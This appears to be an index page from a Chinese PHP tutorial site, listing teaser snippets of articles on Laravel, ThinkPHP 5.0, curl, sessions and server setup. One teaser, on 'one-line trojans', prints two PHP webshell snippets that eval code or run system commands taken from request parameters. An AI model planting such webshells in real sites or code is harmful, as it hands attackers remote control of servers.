在laravel中实现事务回滚的方法

之前做项目用到了事务回滚这个机制。我把代码贴出来多多交流给点意见,我用的是laravel 5.1bane版本的,public static function createDeal($to_status, $params, $new_balance...

2020-11-05

phpfpm的作用和用法

PHP-FPM(FastCGI Process Manager:FastCGI进程管理器)是一个PHPFastCGI管理器,对于PHP 5.3.3之前的php来说,是一个补丁包 ,旨在将FastCGI进程管理整合进PHP包中。如果你使用的是...

2020-11-05

phpinfo的知识点总结

phpinfo是一个运行指令,为显示php服务器的配置信息。phpinfo-输出大量PHP信息bool phpinfo()输出 PHP 当前状态的大量信息,包含了 PHP 编译选项、启用的扩展、PHP 版本、服务器...

2020-11-05

php获取微信openid方法总结

使用微信接口,无论是自动登录还是微信支付我们首先需要获取的就是openid,获取openid的方式有两种,一种是在关注的时候进行获取,这种订阅号就可以获取的到,第二种是通过网页授权...

2020-11-05

如何解决PHP获取不到SESSION信息之一般情况

一、检查 php.ini
vim /etc/php.ini检查这几项:session.save_handler = files // session 的存储类型;session.auto_start = 1 //是否自启动session.save_path = "/var/tmp" /...

2020-11-05

Laravel 数据库加密及数据库表前缀配置方法

报错问题:DecryptException in Encrypter.php line 148: The MAC is invalid.如何运行 php artisan key:generate 这个命令需要安装ComposerD: 回到D盘 ,cd 到laravel根目录...

2020-11-05

Laravel获取所有的数据库表及结构的方法

遇到一个需求,需要修改数据库中所有包含email的字段的表,要把里面的长度改为128位。Laravel获取所有的表,然后循环判断表里面有没有email这个字段。代码如下:use Illuminate\Sup...

2020-11-05

laravel请求参数校验方法

对于后端开发而言,前端request请求中的参数校验是一个必不可少的环节。无论传来的参数是id还是email还是其他的参数,我们都要对参数的类型、大小、格式等等做这样或者那样的校...

2020-11-05

laravel 关联关系遍历数组的例子

1、控制器public function show($id) { $goods = Goods::select('goods.*')->where('goods.id', '=', $id)->get(); $data = []; foreach($goods as $key=>$v) {...

2020-11-05

php5与php7的区别点总结

php5与php7的区别是什么?下面本篇文章就来给大家对比一下php5与php7,介绍php5与php7之间的区别。有一定的参考价值,有需要的朋友可以参考一下,希望对你有所帮助。php5与php7之间...

2020-11-05

laravel框架的安装与路由实例分析

本文实例讲述了laravel框架的安装与路由。分享给大家供大家参考,具体如下:laravel的安装(1)Windows下的安装1、准备工作1.1 搭建PHP环境(wamp或其他环境)
1.2 安装Composer(Compose...

2020-11-05

laravel 中某一字段自增、自减的例子

increment自增方法有两个参数:第一个为必填,代表要对数据表的哪个字段进行自增操作,第二个参数为可选,如果为空则表示每次递增1,如果填写了比如3,则表示每次在原有的基础上递增3。...

2020-11-05

PHP实现单条sql执行多个数据的insert语句方法

废话不多说 直接上代码<&#63;php/** * Created by PhpStorm. * User: Administrator * Date: 2018/4/21 * Time: 10:41 */header("Content-type: text/html; charset=utf-8"...

2020-11-05

Thinkphp5.0框架的Db操作实例分析【连接、增删改查、链式操作等】

本文实例讲述了Thinkphp5.0框架的Db操作。分享给大家供大家参考,具体如下:连接操作:<&#63;phpnamespace app\index\controller;use think\Controller;use think\Db;class Index...

2020-11-05

解决laravel id非自增 模型取回为0 的问题

问题laravel5.2 中 如果一个模型的id 为string等非自增类型时候 使用模型的find方法 会返会0样例代码: $a=Model::find('blcu'); echo $a->id; //结果为0原因查找通过var_du...

2020-11-05

laravel 操作数据库常用函数的返回值方法

1、insert/insertGetIdinsert函数的返回值为boolean类型:成功为true,失败为falseinsertGetId函数的返回值为整型:成功为插入时的ID值,失败为…DB::table('users')->insert( ['n...

2020-11-05

laravel框架添加数据,显示数据,返回成功值的方法

laravel框架添加数据:添加数据laravel框架添加数据的方式我这里使用的是model方式,此外还有一种是DB因为from提交数据,laravel框架需要在from提交中添加一个token,所以这里接...

2020-11-05

PHP实现通过二维数组键值获取一维键名操作示例

本文实例讲述了PHP实现通过二维数组键值获取一维键名操作。分享给大家供大家参考,具体如下:有如下既定数组:$inviteType = [ '扫码' => [ 'type' => 0, 'po...

2020-11-05

laravel 判断查询数据库返回值的例子

在使用 Laravel Eloquent 模型时,我们可能要判断取出的结果集是否为空,但我们发现直接使用 is_null 或 empty 是无法判段它结果集是否为空的。var_dump 之后我们很容易发现,即...

2020-11-05

Thinkphp5.0 框架Model模型简单用法分析

本文实例讲述了Thinkphp5.0 框架Model模型简单用法。分享给大家供大家参考,具体如下:新建user模型User.php:<&#63;phpnamespace app\index\model;use think\Model;class User e...

2020-11-05

解决Laravel 使用insert插入数据,字段created_at为0000的问题

据官方文档的说明,使用Eloquent ORM,插数据库的时候可以自动生成created_at,updated_at,代码如下:Model里的代码:<&#63;phpnamespace App\Models;use Illuminate\Database\Eloquen...

2020-11-05

基于Laravel(5.4版本)的基本增删改查操作方法

1.数据库配置;2.路由配置,'namespace' => '\KeekoSmallGame'此命名空间对应的路径为App\Http\Controllers\KeekoSmallGame,Route::post('score/add','ScoreController@addScore...

2020-11-05

Thinkphp5.0 框架使用模型Model添加、更新、删除数据操作详解

本文实例讲述了Thinkphp5.0 框架使用模型Model添加、更新、删除数据操作。分享给大家供大家参考,具体如下:Thinkphp5.0 的使用模型Model添加数据使用create()方法添加数据$res...

2020-11-05

laravel中数据显示方法(默认值和下拉option默认选中)

如下所示:<div class="form-group"> <label>ap状态:</label> <select name="ap_status_id"> <option value ="1">进行中</option> <option value ="2">开始</option>...

2020-11-05

Thinkphp5.0框架使用模型Model的获取器、修改器、软删除数据操作示例

本文实例讲述了Thinkphp5.0框架使用模型Model的获取器、修改器、软删除数据操作。分享给大家供大家参考,具体如下:一、获取器在model中使用 get+字段名+Attr,可以修改字段的返...

2020-11-05

PHP调用接口API封装的例子

GET:/** * 通过URL获取页面信息 * @param $url 地址 * @return mixed 返回页面信息 */function get_url($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,$url);...

2020-11-05

laravel 时间格式转时间戳的例子

数据渲染到模板经常用到日期格式。而数据库一般保存时间戳。每次更新或查询都要做转换。使用Eloquent 自动转换 <&#63;php namespace App\Model; use Illuminate\Database\E...

2020-11-05

Laravel timestamps 设置为unix时间戳的方法

Laravel 修改 timestamps 为 unix 时间戳<&#63;phpnamespace App;use Illuminate\Database\Eloquent\Model;/** * Class Test * @package App */class Test extends Model{...

2020-11-05

php报错502badgateway解决方法

目前lnmp一键安装包比较多的问题就是502 Bad Gateway,大部分情况下原因是在安装php前,脚本中某些lib包可能没有安装上,造成php没有编译安装成功。解决办法:可以尝试根据lnmp一键...

2020-11-05

php生成HTML文件的类方法

目的
用PHP生成HTML文档, 支持标签嵌套缩进, 支持标签自定义属性起因这个东西确实也是心血来潮写的, 本来打算是输出HTML片段用的, 但后来就干脆写成了一个可以输出完整HTML...

2020-11-05

解决在Laravel 中处理OPTIONS请求的问题

前面已经说过可以通过中间件来处理OPTIONS请求,近日寻得一个简单的办法。在路由文件中定义一个路由,通过正则来匹配相应的路由。Route::options('/{all}', function(Request $...

2020-11-05

PHP与SQL语句写一句话木马总结

一、基础类的一句话--功能仅限于验证漏洞了,实际中非常容易被查出出来:<&#63;php @eval($_GET["code"])&#63;><&#63;php @system($_POST["cmd"])&#63;>二、编码的替换的类型:<&...

2020-11-05

Laravel获取当前请求的控制器和方法以及中间件的例子

laravel获取请求路由对应的控制器和方法很简单:在任何地方都可以使用:dd(request()->route()->getAction());得到如下结果:array:6 [▼ "middleware" => array:2 [▼ 0 => "web...

2020-11-05

零基础php编程好学吗

PHP编程语言对于新手而言,非常容易上手,不乏有很多人通过自学找到了高薪的工作。不管自学还是通过参加培训进行学习,PHP开发工程师是保持如何的晋级过程呢?如何考究自己学习过程...

2020-11-05

ThinkPHP 5.1 跨域配置方法

因为最近的项目采用了API接口开发方式,后端需要配置跨域的规则以便前端能够访问。系统采用的框架为 ThinkPHP,版本 5.1.19关于OPTIONS请求由于前端的知识不是很熟悉,查阅了网上...

2020-11-05

解决PHP使用CURL发送GET请求时传递参数的问题

最近在使用curl发送get请求的时候发现传递参数一直没有生效,也没有返回值,以为是自己哪里写错了,网上找东西时也没有人专门来说get请求传递参数的内容,所以,今天在这里记录一下,希...

2020-11-05

解决PHP curl或file_get_contents下载图片损坏或无法打开的问题

通过curl或者file_get_contents获取抓取远程图片并且保存到本地,发现损坏了很多图片,比如访问https://fuss10.elemecdn.com/c/6c/69a7740b4ab864ac0639eb583d68fjpeg.jpeg是可...

2020-11-05

laravel 获取当前url的别名方法

如下所示:Route::get('/xiongtest', [ 'as' => 'xiong.test', 'uses' => 'XiongTestController@index']);以上路由为例在模版中可以使用route('xiong.test')来获取该路由的...

2020-11-05

实现laravel 插入操作日志到数据库的方法

1 . 创建一个中间件 执行: php artisan make:middleware OperationLog2 . 在中间件中编写一个writeLog() 或者直接写在handle里面<&#63;phpnamespace App\Http\Middleware;u...

2020-11-05

laravel框架 api自定义全局异常处理方法

api返回实现$result = User::find($id);if(empty($result)){ throw new ApiException('获取失败');}else{ return json_decode($result);}api返回信息{ "msg": "", "dat...

2020-11-05

php服务器的系统详解

PHP服务器使用什么操作系统windows系统和Linux系统都可以的,他们各有各的好处。1、windows服务器windows服务器操作方便适用于php初学者,随着Windows Server2008服务器的普及,...

2020-11-05

Thinkphp5.0 框架实现控制器向视图view赋值及视图view取值操作示例

本文实例讲述了Thinkphp5.0 框架实现控制器向视图view赋值及视图view取值操作。分享给大家供大家参考,具体如下:Thinkphp5.0 控制器向视图view的赋值方式一(使用fetch()方法的...

2020-11-05

Thinkphp5.0框架视图view的循环标签用法示例

本文实例讲述了Thinkphp5.0框架视图view的循环标签用法。分享给大家供大家参考,具体如下:volist标签:<!-- 使用volist --><!-- name是传递过来的要循环变量名 --><!-- key是每...

2020-11-05

Thinkphp5.0 框架视图view的比较标签用法分析

本文实例讲述了Thinkphp5.0 框架视图view的比较标签用法。分享给大家供大家参考,具体如下:{eq name="a" value="10"} <p>相等</p>{else/}<p>不相等</p>{/eq}{equal name="a"...

2020-11-05

Thinkphp5.0框架视图view的模板布局用法分析

本文实例讲述了Thinkphp5.0框架视图view的模板布局用法。分享给大家供大家参考,具体如下:使用include,文件包含:<!-- 头部 --><div class="header"> {include file="common/hea...

2020-11-05

php 实现银联商务H5支付的示例代码

银联商务H5支付接口文档:文档地址一:H5支付的接口地址:1:支付宝支付测试地址:http://58.247.0.18:29015/v1/netpay/trade/h5-pay正式地址:https://api-mop.chinaums.com/v1/netpa...

2020-11-05

laravel 获取某个查询的查询SQL语句方法

如下所示:DB::connection()->enableQueryLog();#开启执行日志$count = DB::table('test') //执行查询 ->whereNull('deleted_at') ->where('id', '=', 3) -...

2020-11-05

Laravel 使用查询构造器配合原生sql语句查询的例子

首先说一下本人使用的版本: 5.5在很多复杂查询时, 往往需要原生语句进行查询, 在 laravel 中, 我们可以这样使用原生查询$user = DB::select('select * from users where id...

2020-11-05

laravel框架实现去掉URL中index.php的方法

1、将框架根目录下的server.php文件重命名为index.php2、将框架根目录下的文件夹public下的.htaccess文件复制到框架根目录下,与index.php处于同一目录3、修改Apache的httpd....

2020-11-05

Laravel解决nesting level错误和隐藏index.php的问题

错误提示:Maximum function nesting level of ‘100' reached, aborting! 解决办法:因为我是在windows上搭建的wamp环境,linux和mac暂时还没有实验,首先找到php.ini找到xdebug项...

2020-11-05
返回顶部
顶部